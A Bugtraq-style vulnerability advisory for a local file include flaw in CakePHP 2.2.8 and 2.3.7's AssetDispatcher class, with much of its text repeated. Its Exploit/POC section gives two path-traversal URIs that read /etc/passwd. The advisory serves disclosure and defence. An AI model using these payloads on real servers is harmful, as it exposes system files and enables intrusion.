CakePHP AssetDispatcher Class Local File Include Vulnerability
BID:61746
Info
CakePHP AssetDispatcher Class Local File Include Vulnerability
| Bugtraq ID: | 61746 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 13 2013 12:00AM |
| Updated: | Aug 13 2013 12:00AM |
| Credit: | Takeshi Terada of Mitsui Bussan Secure Directions, Inc. |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
CakePHP AssetDispatcher Class Local File Include Vulnerability
CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.
CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected.
CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.
CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected.
Exploit / POC
CakePHP AssetDispatcher Class Local File Include Vulnerability
An attacker can exploit this issue using a web browser.
The following example URIs are available:
http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
An attacker can exploit this issue using a web browser.
The following example URIs are available:
http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
Solution / Fix
CakePHP AssetDispatcher Class Local File Include Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
CakePHP AssetDispatcher Class Local File Include Vulnerability
References:
References:
- CakePHP Homepage (CakePHP)